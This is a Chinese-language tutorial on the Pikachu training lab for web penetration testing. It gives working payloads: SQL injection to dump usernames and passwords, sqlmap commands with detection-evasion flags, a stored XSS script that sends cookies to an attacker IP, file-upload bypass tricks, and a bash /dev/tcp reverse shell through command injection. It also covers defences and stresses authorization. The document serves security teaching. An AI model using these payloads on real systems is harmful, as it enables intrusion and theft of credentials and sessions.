1. 项目概述:为什么我们需要Pikachu靶场?
如果你刚接触网络安全,或者想从理论转向实战,那么“靶场”这个词对你来说一定不陌生。简单来说,靶场就是一个安全的、合法的、专门用来“挨打”的演练环境。它模拟了真实网站中存在的各种安全漏洞,让你可以放心大胆地使用各种渗透测试工具和技术去攻击它,而不用担心触犯法律或造成实际损害。这就像飞行员在模拟驾驶舱里训练一样,所有的操作都是为了让你在遇到真实险情时能从容应对。
在众多靶场中,Pikachu(皮卡丘)靶场以其全面性、易用性和中文友好性,成为了国内安全学习者和从业者入门Web渗透的首选平台之一。它不像DVWA那样需要复杂的配置,也不像某些大型综合靶场那样让新手望而生畏。Pikachu将常见的Web漏洞,如SQL注入、XSS跨站脚本、文件上传、RCE命令执行等,分门别类地做成一个个独立的、有提示的关卡。你不需要去猜测漏洞在哪里,它的核心价值在于:让你专注于“漏洞利用技术”本身的学习和练习。通过它,你可以系统地理解每一种漏洞的原理、手工利用的完整流程,以及自动化工具(如sqlmap)的配合使用,最终形成一套从漏洞发现到利用的肌肉记忆。
我之所以推荐从Pikachu开始,是因为它提供了一个从“知道”到“做到”的完美桥梁。很多人在学习安全理论时感觉都懂了,但一上手就懵。Pikachu的每个漏洞点都设计得非常典型,你可以在一个受控的环境里,反复尝试、犯错、调试,直到彻底掌握。接下来,我将带你深入拆解Pikachu靶场的核心价值,并手把手教你如何利用它进行一场高效的Web渗透实战演练。
2. 靶场环境搭建与初始化配置
工欲善其事,必先利其器。在开始“攻击”之前,我们需要先把“战场”搭建起来。Pikachu靶场的搭建过程相对简单,但其中有一些细节配置直接关系到后续实验的顺利进行。
2.1 核心组件选择与部署方案
Pikachu本质上是一个PHP编写的Web应用,因此它的运行依赖于经典的“LAMP”或“LNMP”环境。对于绝大多数学习者,我强烈推荐使用集成环境包,这能避免你在PHP版本、MySQL扩展、Apache模块等依赖问题上耗费大量时间。在Windows平台,phpStudy或XAMPP是绝佳选择;在Linux或macOS上,Docker部署则是更优雅、更隔离的方案。
以最常用的phpStudy为例,其部署逻辑清晰:它集成了Apache/Nginx、PHP和MySQL,你只需要下载Pikachu的源码,解压到phpStudy的WWW目录下,然后启动服务即可。但这里有一个关键细节:Pikachu的数据库连接配置文件通常位于inc/config.inc.php。你需要根据phpStudy中MySQL的实际账号密码(默认通常是root/root)去修改这个配置文件,确保靶场能正确连接到数据库。很多新手卡在第一步,就是因为靶场页面能打开,但所有涉及数据库的漏洞(如SQL注入)都无法正常显示数据,根源就在这里。
注意:切勿在公网服务器上部署此类带有已知漏洞的靶场,即使有密码保护。最好的实践始终是在本地虚拟机或隔离的网络环境中进行。我通常会在VMware或VirtualBox里安装一个纯净的Windows或Linux虚拟机,然后在里面部署
phpStudy和Pikachu,这样即使操作失误导致系统异常,也可以快速回滚快照。
2.2 常见安装问题与一次性解决指南
根据我帮助大量新手排错的经验,90%的安装问题集中在以下几点。你可以对照这个清单,快速定位并解决:
页面访问空白或报错“无法连接数据库”:
- 检查点:首先确认
phpStudy的Apache和MySQL服务都已显示为绿色(已启动)。然后,打开Pikachu的数据库配置文件,核对里面的数据库主机(通常是localhost或127.0.0.1)、端口、用户名和密码是否与phpStudy的MySQL设置完全一致。 - 实操技巧:你可以先用
phpStudy自带的“MySQL管理器”或第三方工具如Navicat尝试连接MySQL,用配置文件里的账号密码测试,确保数据库本身是可访问的。
- 检查点:首先确认
部分漏洞页面功能异常(如文件上传不成功):
- 检查点:这通常是目录权限问题。确保Pikachu所在的整个文件夹,对Web服务器进程(如Apache的
www-data用户或SYSTEM)具有读写权限。在Windows上,可以右键文件夹->属性->安全,添加相应的用户并赋予完全控制权。 - 检查点二:查看
php.ini配置文件,确保file_uploads设置为On,以及upload_max_filesize和post_max_size的值设置得合理(例如10M)。
- 检查点:这通常是目录权限问题。确保Pikachu所在的整个文件夹,对Web服务器进程(如Apache的
页面显示乱码:
- 检查点:这通常是因为文件编码问题。Pikachu源码默认是
UTF-8编码,请确保你的代码编辑器或IDE没有以其他编码(如GBK)保存修改过的文件。同时,检查Apache的配置或HTML头部的<meta charset>标签是否指定为UTF-8。
- 检查点:这通常是因为文件编码问题。Pikachu源码默认是
完成上述检查和配置后,在浏览器访问http://localhost/pikachu(具体路径取决于你的放置位置),你应该能看到Pikachu的卡通风格首页,上面罗列了所有漏洞模块。点击“安装/初始化数据库”链接,如果提示成功,那么恭喜你,战场已经准备就绪。
3. SQL注入漏洞深度实战与手工利用解析
SQL注入(SQL Injection)无疑是Web安全领域最经典、危害也最大的漏洞之一。Pikachu靶场提供了数字型、字符型、搜索型、宽字节等多种注入场景,是练习手工注入思维的绝佳场地。我们以最基础的“数字型注入(POST)”为例,来拆解完整的手工渗透流程。记住,这个过程的目的是理解攻击者的思考逻辑,而不是记住几个Payload。
3.1 注入点探测与类型判断
进入“SQL注入” -> “数字型注入(POST)”关卡。页面是一个简单的用户ID查询表单。我们的第一步是确认这里是否存在注入点,以及是数字型还是字符型。
手工探测的核心是构造让SQL语句逻辑发生改变的输入。对于数字型注入,后端SQL语句可能形如:SELECT * FROM users WHERE id = $input。我们尝试在输入框提交:
1:正常查询ID为1的用户。1 and 1=1:如果页面正常返回ID为1的用户信息,说明and 1=1这个条件被数据库执行了。1 and 1=2:这是一个永假条件。如果页面返回异常(如空白、报错或查询不到结果),则进一步证实注入存在,并且极可能是数字型。因为对于数字型,语句变成...WHERE id = 1 and 1=2,整个条件为假;而对于字符型如...WHERE id = ‘1 and 1=2’,数据库会尝试将‘1 and 1=2’这个字符串转换为数字,行为可能不一致。
在Pikachu这个关卡,提交1 and 1=2后,页面会显示“您输入的id不存在,请重新输入!”,这清晰地表明我们注入的SQL逻辑生效了,且是数字型注入(无需闭合引号)。
3.2 信息收集:联合查询(Union Select)的艺术
确认注入点后,下一步是获取数据库的结构信息,为提取数据做准备。这里主要用到order by和union select。
判断字段数:使用
order by子句。提交1 order by 1、1 order by 2、1 order by 3... 直到页面报错。在Pikachu这个关卡,1 order by 2正常,1 order by 3报错,说明当前查询结果有2个字段。这是后续union select的前提。探测回显点:
union select要求前后查询的列数一致。我们已经知道是2列。提交Payload:-1 union select 1,2。这里将原查询的id设为-1(一个不存在的值),是为了让原查询结果为空,从而页面直接显示我们union select的结果。页面显示“账号: 1, 密码: 2”,这说明第一个和第二个字段都是回显点,我们可以在其位置替换为我们想查询的信息。获取数据库信息:利用数据库的系统表或函数。
- 数据库版本:
-1 union select version(),2 - 当前数据库名:
-1 union select database(),2 - 数据库用户:
-1 union select user(),2
- 数据库版本:
在MySQL中,执行上述Payload后,你会在“账号”位置看到类似“5.7.36-log”、“pikachu”、“root@localhost”这样的信息。至此,我们完成了对数据库环境的初步侦察。
3.3 数据提取:从库名、表名到具体数据
知道了库名(假设是pikachu),接下来就是逐层深入。
爆表名:MySQL中,表信息存储在
information_schema.tables中。提交Payload:-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘pikachu’group_concat()函数会将所有表名合并成一个字符串返回,避免多次查询。执行后,你可能会看到httpinfo,member,message,users,xssblind等表名。我们对存储用户信息的users表感兴趣。爆字段名:表结构信息在
information_schema.columns中。提交Payload:-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’返回结果可能包含id,username,password等字段名。提取最终数据:万事俱备,直接查询:
-1 union select group_concat(username), group_concat(password) from pikachu.users这个Payload会将users表中所有的用户名和密码分别合并后显示在两个回显点上。至此,你已成功通过手工注入获取了敏感数据。
实操心得:手工注入的过程看似繁琐,但它是理解SQL注入本质的必经之路。在这个过程中,你实际上是在“盲推”后端SQL语句的结构。每一个步骤的反馈(正常、错误、数据回显)都是你与数据库的“对话”。熟练掌握这个过程,不仅能让你更有效地使用sqlmap等自动化工具(因为你能看懂它的逻辑),更能让你在面对WAF(Web应用防火墙)或一些变形注入时,具备手工构造绕过Payload的能力。
4. 自动化工具辅助:Sqlmap高效利用指南
手工注入是基础,但在实战或测试大量目标时,我们离不开自动化工具。Sqlmap是渗透测试师的“瑞士军刀”,它能自动化完成注入点检测、数据库指纹识别、数据提取甚至直接获取服务器权限。在Pikachu靶场使用Sqlmap,目的是学习如何与工具协同工作,理解它的输出。
4.1 基础扫描与数据提取
我们继续以“数字型注入(POST)”为例。首先,你需要用浏览器抓取这个请求。使用Burp Suite或浏览器开发者工具(F12 -> Network),提交一次查询(例如id=1),捕获这个HTTP请求。
假设捕获到的POST请求关键部分如下:
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 ... id=1&submit=%E6%9F%A5%E8%AF%A2将整个请求保存为一个文本文件,比如post.req。然后使用Sqlmap执行:
sqlmap -r post.req --batch --dbs-r post.req: 从文件加载HTTP请求,Sqlmap会自动解析其中的参数。--batch: 以非交互模式运行,所有默认选项都选Yes,适合自动化。--dbs: 枚举数据库。
运行后,Sqlmap会先检测注入点,确认注入类型(如boolean-based blind),然后列出所有数据库名,其中应该包含pikachu。
接下来,指定数据库进行更深入的枚举:
sqlmap -r post.req --batch -D pikachu --tables-D pikachu指定数据库,--tables枚举该库下所有表。
sqlmap -r post.req --batch -D pikachu -T users --columns-T users指定表,--columns枚举该表所有列。
sqlmap -r post.req --batch -D pikachu -T users -C username,password --dump-C指定要导出的列,--dump将数据转储到本地。执行完毕后,所有用户名和密码就会以表格形式保存在Sqlmap的输出目录中。
4.2 高级参数与风险规避
直接使用--dump可能会一次性导出大量数据,产生大量请求日志。在实际环境中,我们需要更精细的控制和隐蔽性。
- 限制数据量:使用
--start和--stop参数。例如--dump --start 1 --stop 10只导出前10行数据。 - 条件导出:使用
--where。例如--dump --where=“id=1”只导出id为1的记录。 - 降低速度与隐蔽性:
--delay 1(每次请求延迟1秒),--threads 1(单线程),--randomize-params(随机化参数),这些可以一定程度上规避简单的IDS/IPS检测。 - 技术选择:如果时间盲注(Time-based Blind)太慢,可以尝试指定其他技术,如
--technique=B(布尔盲注)。使用--technique=BEU来指定优先使用布尔盲注和报错注入。
注意事项:在Pikachu这样的本地靶场,你可以尽情尝试所有参数。但在任何其他环境(包括你认为的“测试”环境)使用Sqlmap前,必须获得明确的书面授权。未经授权的扫描和渗透测试是违法行为。此外,即使获得授权,也应避免使用
--os-shell或--os-pwn这类尝试获取系统shell的高风险功能,除非测试范围明确包含此项且已做好应急预案。工具的强大也意味着责任的重大。
5. 跨站脚本(XSS)漏洞利用与防御思维构建
XSS(跨站脚本攻击)是客户端安全的主要威胁,其核心在于“信任”。网站信任了用户输入的数据,并将其作为代码执行。Pikachu靶场提供了反射型、存储型和DOM型三种XSS场景,我们以最直观的“存储型XSS”为例,来演示攻击链和危害。
5.1 存储型XSS攻击链复现
进入“XSS” -> “存储型XSS”关卡。这是一个简单的留言板功能。攻击者可以在“留言”框中输入恶意脚本。
- 构造Payload:一个最简单的测试Payload是
<script>alert(‘XSS’)</script>。但现代浏览器有一定防护。我们可以尝试更基础的Payload:<img src=1 onerror=alert(‘Hacked’)>。这个Payload利用图片加载错误事件来执行JS。 - 实施攻击:在昵称和留言框都输入上述Payload,提交。
- 触发攻击:提交后,页面会展示所有留言。你会发现,你的留言一显示出来,浏览器就弹出了警告框“Hacked”。更关键的是,所有其他用户访问这个留言板页面时,都会触发这个弹窗。因为恶意脚本被永久“存储”在了服务器数据库里,每次页面加载都会从数据库读取并渲染执行。
5.2 从弹窗到实际危害:Cookie窃取演示
弹窗只是证明漏洞存在。真正的危害在于攻击者可以利用脚本做更多事情,比如窃取用户的Cookie(会话凭证)。
- 搭建接收平台:攻击者需要有一个服务器来接收被盗数据。在靶场环境中,我们可以用
nc(Netcat)模拟。在攻击机(或本机另一个终端)运行:nc -lvnp 9999,监听9999端口。 - 构造窃取Cookie的Payload:JavaScript可以访问当前页面的Cookie(
document.cookie)。我们可以构造一个Payload,让受害者的浏览器向攻击者的服务器发送一个携带Cookie的请求。
将这个Payload提交到留言板。<script>var img = new Image(); img.src = ‘http://攻击者IP:9999/steal?cookie=‘ + encodeURIComponent(document.cookie);</script> - 模拟受害者访问:用另一个浏览器(或匿名窗口)访问留言板页面。此时,作为“受害者”的你,在毫无察觉的情况下,你的Cookie已经被悄悄发送到了攻击者监听的
nc终端上。攻击者拿到这个Cookie,很可能就能直接在浏览器中替换Cookie,登录你的账户。
5.3 防御视角:如何避免XSS漏洞?
通过攻击演练,我们更能理解防御的重要性。防御XSS的核心原则是:不要信任任何用户输入,对所有输出进行编码或过滤。
- 输入验证:在服务器端,对用户输入进行严格的白名单验证。例如,昵称只允许字母数字,留言内容过滤掉
<script>、onerror=等危险标签和属性。但注意,过滤黑名单很容易被绕过(如大小写变换、编码、嵌套标签)。 - 输出编码:这是更有效、更通用的方法。在将用户数据输出到HTML页面时,根据上下文进行编码。
- 输出到HTML正文:将
<、>、&、“、‘等字符转换为HTML实体(如<-><)。 - 输出到HTML属性:除了上述字符,还要对空格和引号进行编码。
- 输出到JavaScript:需要进行严格的JavaScript编码。
- 输出到URL:进行URL编码。 现代Web框架(如React, Vue, Angular)及模板引擎(如Jinja2, Thymeleaf)大多默认开启了输出编码,但开发者仍需了解其原理,避免错误地使用
v-html或dangerouslySetInnerHTML等危险API。
- 输出到HTML正文:将
- 内容安全策略(CSP):这是一个重要的纵深防御措施。通过HTTP头
Content-Security-Policy,告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。即使页面被注入了恶意脚本,如果来源不在白名单内,浏览器也不会执行。例如,一个严格的CSP可以设置为:script-src ‘self’;,这表示只允许执行同源(当前域名)的脚本。
在Pikachu靶场练习XSS时,不妨同时思考:如果我是开发者,在哪个环节、用哪种方式可以阻断我刚刚发起的攻击?这种攻防结合的思维,才是安全学习的精髓。
6. 文件上传漏洞:绕过前端验证与服务器端防御
文件上传功能如果处理不当,攻击者可以直接上传Webshell(一种恶意脚本),从而获取服务器控制权。Pikachu靶场的“文件上传”模块设计了多种绕过姿势,非常适合系统性地学习。
6.1 前端JS验证绕过
进入“不安全的文件上传” -> “客户端验证”关卡。尝试上传一个.php后缀的Webshell文件,页面会立刻弹出警告“文件类型不正确,请重新上传!”。查看网页源码或使用F12开发者工具,你会发现一段JavaScript代码在检查文件后缀名。这种验证完全在用户浏览器中进行,毫无安全性可言。
绕过方法极其简单:
- 直接使用Burp Suite等代理工具拦截上传请求,将文件名从
shell.php改为shell.jpg绕过前端检查,然后在Burp中再将文件名改回shell.php发送给服务器。 - 更直接的方法是禁用浏览器JavaScript。在浏览器设置中临时禁用JS,然后就可以直接上传
.php文件了。
这个关卡的意义在于警示:任何安全措施都不能只依赖客户端实现。服务器端必须进行二次校验。
6.2 服务器端MIME类型与内容校验绕过
进入“服务器端验证”相关关卡。服务器端验证通常更强大,常见的有:
- 检查
Content-Type(MIME类型):浏览器上传文件时会在HTTP头中附带该类型。例如,.jpg图片的Content-Type是image/jpeg。服务器可能只允许特定的MIME类型。 - 检查文件内容头(Magic Number):通过读取文件开头的几个字节(如
FF D8 FF E0是JPEG)来判断真实类型。 - 检查文件扩展名:黑名单或白名单方式。
绕过技巧:
- MIME类型绕过:使用Burp拦截上传请求,将
Content-Type: application/x-php修改为Content-Type: image/jpeg即可。 - 文件内容绕过:对于检查文件头的场景,可以制作一个图片马。在命令行使用
copy命令(Windows)或cat命令(Linux)将一个正常的图片和一个PHP Webshell合并:copy normal.jpg /b + shell.php /b webshell.jpg。生成的文件以.jpg结尾,文件头是图片格式,能通过内容检查,但服务器如果错误地将其解析为PHP(例如,通过文件包含漏洞),后面的PHP代码仍会被执行。 - 扩展名绕过:
- 黑名单绕过:尝试
.php5,.phtml,.phps,.php7等变种,或利用系统特性如.php.(Windows下末尾点会被自动去除)、.php%20(空格)、.php::DATA(NTFS数据流)等。 - 大小写/双写绕过:如果黑名单是
str_ireplace(‘php’, ‘’, $filename),可以尝试.pHp或.pphphp(替换掉中间的php后,剩下的字符又组合成了php)。 - 解析漏洞:依赖于服务器配置。例如,老版本IIS的
目录名/*.php解析漏洞,Apache的文件.php.xxx(如果xxx未被识别,会向前寻找已知后缀)等。这些在Pikachu中可能没有直接模拟,但需要了解。
- 黑名单绕过:尝试
6.3 防御策略:白名单与文件隔离
从防御角度看,一个安全的文件上传功能应遵循以下原则:
- 使用白名单:只允许
.jpg,.png,.gif等有限的、明确的扩展名。黑名单永远防不胜防。 - 检查文件内容:使用可靠的库(如
getimagesize())验证图片文件的有效性,而不仅仅是文件头。 - 重命名文件:上传后,使用随机生成的文件名(如UUID)替换用户上传的文件名,并保留原始扩展名。这可以防止攻击者直接访问或猜测文件路径。
- 控制文件权限:确保上传目录没有执行权限。在Apache/Nginx配置中,将上传目录的脚本执行权限关闭。
- 隔离存储:最好将上传的文件存储在独立的域名或路径下,通过后端程序代理访问,而不是直接提供静态文件访问。或者使用云存储服务(如OSS、COS),彻底分离Web服务器和文件存储。
在Pikachu靶场练习时,每成功绕过一种防御,都要问自己:作为开发者,如何修补这个漏洞?这种“攻”与“防”的思维切换,能让你对漏洞的理解更加立体和深刻。
7. 命令执行与反序列化漏洞实战剖析
这两类漏洞往往能导致更直接的服务器沦陷,危害等级极高。Pikachu靶场也提供了相应的实验环境。
7.1 命令执行(RCE)漏洞利用
进入“RCE” -> “exec ‘ping’”关卡。这是一个模拟的ping命令功能,用户输入IP,服务器执行ping命令。如果后端代码直接拼接用户输入到系统命令中,例如exec(‘ping -c 4 ’ . $_GET[‘ip’]),就会产生漏洞。
利用方式:
- 基础命令注入:输入
127.0.0.1; whoami。在Linux/Unix中,分号;用于分隔多条命令。这样服务器实际执行的命令是ping -c 4 127.0.0.1; whoami,会先执行ping,然后执行whoami显示当前系统用户。同理,可以使用&、&&、|、||等连接符。 - 管道符利用:输入
127.0.0.1 | cat /etc/passwd。管道符|会将前一个命令的输出作为后一个命令的输入。如果ping命令有输出,可能会干扰结果,但cat /etc/passwd命令仍会执行。 - 反弹Shell(进阶):这是获取交互式控制权的方法。在攻击机上监听一个端口:
nc -lvnp 4444。然后在靶场输入框提交:127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1。这个命令会让靶场服务器启动一个bash,并将其输入输出重定向到攻击机的4444端口,从而建立一个反向Shell连接。
注意事项:命令执行漏洞的利用高度依赖于操作系统(Windows/Linux)和服务器环境。在实战中,需要先判断系统类型(如通过
ping命令的差异或执行uname -a),再选择合适的Payload。同时,要注意命令中的空格、引号等特殊字符可能会被过滤,需要尝试编码或使用替代符号(如${IFS}代替空格)。
7.2 反序列化漏洞原理浅析
进入“反序列化漏洞”关卡。这个漏洞理解起来稍复杂。简单来说,序列化是把一个对象的状态(属性值)转换成可存储或传输的格式(字符串),反序列化则是将这个字符串还原成对象。
漏洞产生于:当程序反序列化一个用户可控的数据时,如果该数据被恶意构造,在反序列化过程中会自动调用对象的一些特殊方法(如PHP的__wakeup(),__destruct()),攻击者可以在这些方法中嵌入恶意代码。
Pikachu的关卡通常提供了一个简单的类定义和一个反序列化入口。你的任务就是:
- 分析源代码,找到包含
__wakeup()或__destruct()等魔术方法的类。 - 理解这些方法被调用时会执行什么操作(例如,可能会执行
echo一个属性,或者调用system()函数)。 - 序列化一个该类的对象,并将对象的属性设置为恶意Payload(例如,将
system()要执行的命令作为属性值)。 - 将这个序列化后的字符串提交给反序列化接口。
由于反序列化漏洞需要结合代码审计,Pikachu的关卡通常给出了提示或部分代码。练习的关键是理解“用户可控的序列化字符串 -> 被还原成对象 -> 自动触发魔术方法 -> 执行恶意代码”这条链。防御反序列化漏洞非常困难,最佳实践是:永远不要反序列化不可信的数据,或者使用只允许基本数据类型的、安全的序列化格式(如JSON)。
8. 其他常见漏洞与综合渗透思路
Pikachu靶场还涵盖了CSRF、SSRF、目录遍历、越权访问等常见漏洞,每一个都值得深入练习。
- CSRF(跨站请求伪造):核心是“利用用户的登录状态,在用户不知情的情况下发起非本意的请求”。在Pikachu的CSRF关卡,你需要构造一个恶意页面,其中包含一个自动提交的表单,目标是对靶场进行修改密码等操作。防御措施主要是使用CSRF Token(每次表单提交携带一个随机令牌,由服务器校验)或验证Referer头。
- SSRF(服务器端请求伪造):让服务器端应用作为代理,去请求攻击者指定的内部或外部资源。常用于探测或攻击内网服务。Pikachu的SSRF关卡可能让你通过一个URL参数,让服务器去读取本地文件(
file://协议)或访问内网IP。防御上需要对用户输入的URL进行严格的协议、域名和IP地址白名单过滤。 - 越权访问:分为水平越权(访问同级别其他用户的数据)和垂直越权(低权限用户访问高权限功能)。练习时,需要仔细对比不同身份用户(如普通用户vs管理员)的请求参数、Cookie、URL路径差异,尝试修改这些标识来达到越权目的。防御的关键是在每个业务接口的服务器端,都对当前会话用户的权限进行校验。
综合渗透思路:真实的渗透测试很少只依赖一个漏洞。Pikachu靶场各个模块虽然是独立的,但你可以尝试模拟一个连贯的攻击链。例如:
- 通过一个SQL注入漏洞,获取后台管理员的账号密码(可能被加密,需要破解或绕过)。
- 利用获取的凭证登录后台。
- 在后台寻找文件上传点,上传一个Webshell。
- 通过Webshell执行命令,进一步探测内网,提升权限。
这种将多个漏洞串联起来的思维,是渗透测试工程师的核心能力。Pikachu为你提供了安全的沙盒,让你可以无后顾之忧地反复演练这些技术组合,直到它们成为你的本能反应。记住,所有的学习和练习,最终都是为了更好地防御。